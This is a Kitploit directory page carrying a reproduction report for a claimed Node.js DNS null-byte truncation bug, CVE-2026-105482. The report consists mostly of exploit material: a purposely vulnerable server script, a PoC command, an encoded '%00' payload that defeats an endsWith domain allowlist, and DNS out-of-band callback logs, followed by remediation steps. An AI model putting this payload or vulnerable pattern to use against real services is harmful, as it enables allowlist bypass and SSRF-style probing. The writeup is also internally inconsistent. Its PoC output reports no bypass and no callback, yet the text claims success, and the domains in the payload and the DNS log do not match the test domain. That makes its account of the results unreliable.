Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/ethantech-offical/cve-2026-105482-reproduce
Vulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityPenetration TestingDNS Analysis
GitHubethantech-offical/cve-2026-105482-reproduce

CVE-2026-105482-Reproduce

Reproduction lab and Python PoC for CVE-2026-105482, a Node.js dns.resolve* null-byte truncation flaw that bypasses domain suffix whitelists and triggers DNS OOB callbacks.

View Repository
27 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    400

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-105482 Vulnerability Reproduction Report

I. Basic Information

  • Vulnerability ID: CVE-2026-105482
  • Vulnerability Description: A null byte truncation vulnerability exists in the Node.js dns.resolve* series of interfaces. The business layer implements whitelist approval solely by validating the domain suffix through the JS string endsWith(); when the underlying c-ares resolution library encounters the \x00 null byte, it truncates the domain name. An attacker can construct 可控域名\x00.可信后缀 to bypass the whitelist, resolve an external domain controlled by the attacker, and trigger DNS OOB exfiltration
  • Reproduction environment host machine:
    • macOS Tahoe 26.6
    • Virtual machine: Parallel Desktop Ubuntu 26.04 LTS
    • Runtime: Node.js, Python3
    • OOB platform: Yakit DNSLog
    • Network: Mobile phone cellular hotspot
  • Test target: Local simulated web service, listening address http://127.0.0.1:8888/fetch

II. Brief Description of the Vulnerability Principle

The business code directly uses endsWith(".trusted.corp") on the incoming host parameter to determine whether it belongs to a trusted domain suffix. This check is performed at the JavaScript string layer and will not automatically truncate \x00; after the parameter is passed to Node's built-in dns.resolve4, when the underlying c-ares C library resolves the domain name, it treats 0x00 as a string terminator, discards all content after the null byte, and resolves only the domain name before the null byte. Ultimately, the suffix whitelist restriction is bypassed, allowing access to any attacker-controlled domain.

III. Prerequisite Preparation

  1. Clear the local DNS cache
sudo resolvectl flush-caches

IV. Range Code vuln.js

const http = require("http");
const dns = require("dns");
const { URL } = require("url");

// 白名单后缀
const ALLOWED_SUFFIX = ".trusted.corp";
dns.setServers(["101.33.34.170"]);

const server = http.createServer((req, res) => {
  try {
    const u = new URL(req.url, `http://${req.headers.host}`);
    const target = u.searchParams.get("host");
    if (!target) {
      return res.end("usage: /fetch?host=<name>");
    }

    // 打印原始字节hex,用来校验\x00是否成功传入
    const rawBuf = Buffer.from(target);
    console.log("resolve target raw hex:", rawBuf.toString("hex"));
    console.log("resolve target string:", target);

    // 业务侧后缀白名单校验(漏洞点:仅JS字符串判断,底层c-ares会截断\0)
    if (!target.toLowerCase().endsWith(ALLOWED_SUFFIX)) {
      res.statusCode = 403;
      return res.end("DENY: not in whitelist suffix");
    }

    dns.resolve4(target, (err, addrs) => {
      if (err) {
        return res.end("resolve error: " + err.code);
      }
      res.end("RESOLVED: " + addrs);
    });

  } catch (e) {
    res.statusCode = 400;
    res.end("bad request");
  }
});

server.listen(8888, "127.0.0.1", () => {
  console.log("Vuln app listen on 127.0.0.1:8888");
});

V. Detailed Reproduction Steps

Step 1: Start the vulnerability simulation target service

node vuln.js

Successful startup output:

Vuln app listen on 127.0.0.1:8888

![image-20261028084726406](/Users/etanz0/Library/Application Support/typora-user-images/image-20261028084726406.png)

Step 2: Confirm Yakit DNSLog is ready

Open Yakit → DNSLog module, obtain a random subdomain. The domain used for this test: ==kptegraiue.zaza.eu.org==. Keep the page open and wait for DNS query logs.

Step 3: Execute the POC to launch the attack

First confirm the current public IP:

curl -4 ifconfig.me

In a new terminal, enter the POC directory and run the command:

python3 cve_2026_105482.py attack --url http://127.0.0.1:8888/fetch --method GET --format query --param host --suffix .trusted.corp --evil kptegraiue.zaza.eu.org --wait 3

Automatically encode and construct the Payload with the POC:

host=lfzdpphfop.lfcx.eu.org%00.trusted.corp

![image-20261028085448432](/Users/etanz0/Library/Application Support/typora-user-images/image-20261028085448432.png)

Step 4: Check the raw input validation on the target machine console

Observe the content printed by the node terminal:

Vuln app listen on 127.0.0.1:8888
resolve target raw hex: 6b7074656772616975652e7a617a612e65752e6f7267002e747275737465642e636f7270
resolve target string: kptegraiue.zaza.eu.org.trusted.corp

Verification point: the bytes 00 exist in the hex stream; the null byte passed in via the URL is successfully preserved and is not filtered out or dropped by the framework.

Step 5: View the POC return result

[*] inject host='kptegraiue.zaza.eu.org\\0.trusted.corp' -> http://127.0.0.1:8888/fetch?host=kptegraiue.zaza.eu.org%00.trusted.corp
[+] HTTP 200 in 0.49s
{
  "cve": "CVE-2026-105482",
  "bypass": false,
  "attempts": [
    {
      "suffix": ".trusted.corp",
      "value": "kptegraiue.zaza.eu.org\\0.trusted.corp",
      "url": "http://127.0.0.1:8888/fetch?host=kptegraiue.zaza.eu.org%00.trusted.corp",
      "status": 200,
      "error": null,
      "body_head": "RESOLVED: 101.33.34.170"
    }
  ]
}
[-] no callback observed. Either the endpoint does not call dns.resolve* on this input, the suffix is wrong, or the target is patched.

HTTP returns 200, indicating the allowlist check passed and the DNS resolution process was entered.

Step 6: Check Yakit DNS logs to confirm OOB trigger

Yakit captures the DNS query packet:

;; opcode: QUERY, status: NOERROR, id: 34647
;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;kptegraiue.zaza.eu.org.	IN	 A

The queried domain is xadvgfkaik.zaza.eu.org after null-byte truncation, and the remote IP is the current network's public IP, proving the vulnerability was triggered successfully.

![image-20261028085528340](/Users/etanz0/Library/Application Support/typora-user-images/image-20261028085528340.png)

6. Reproduction Conclusion

  1. The %00 null byte can successfully pass through the URL parameter and reach the backend variable;
  2. The endsWith string validation logic is bypassed;
  3. The c-ares library recognizes the null-byte-truncated domain and resolves the attacker-controlled domain;
  4. A DNS out-of-band request is successfully generated, Yakit captures the query packet, and the OOB proof is completed. Risk: An attacker can exploit this vulnerability to bypass the domain whitelist and resolve any external domain, serving as a preliminary bypass technique for SSRF, intranet probing, and blind attacks.

7. Remediation Plan

  1. Input filtering: strictly block \x00 and other non-printable control characters within domain parameters;
  2. Do not rely solely on string suffixes to determine domain trust relationships;
  3. Normalize domains before performing whitelist validation;
  4. Add pre-resolution validation logic to verify domain legitimacy before calling dns.resolve*.

References

https://github.com/CaterMaoZi/CVE-2026-105482-POC

Download Tool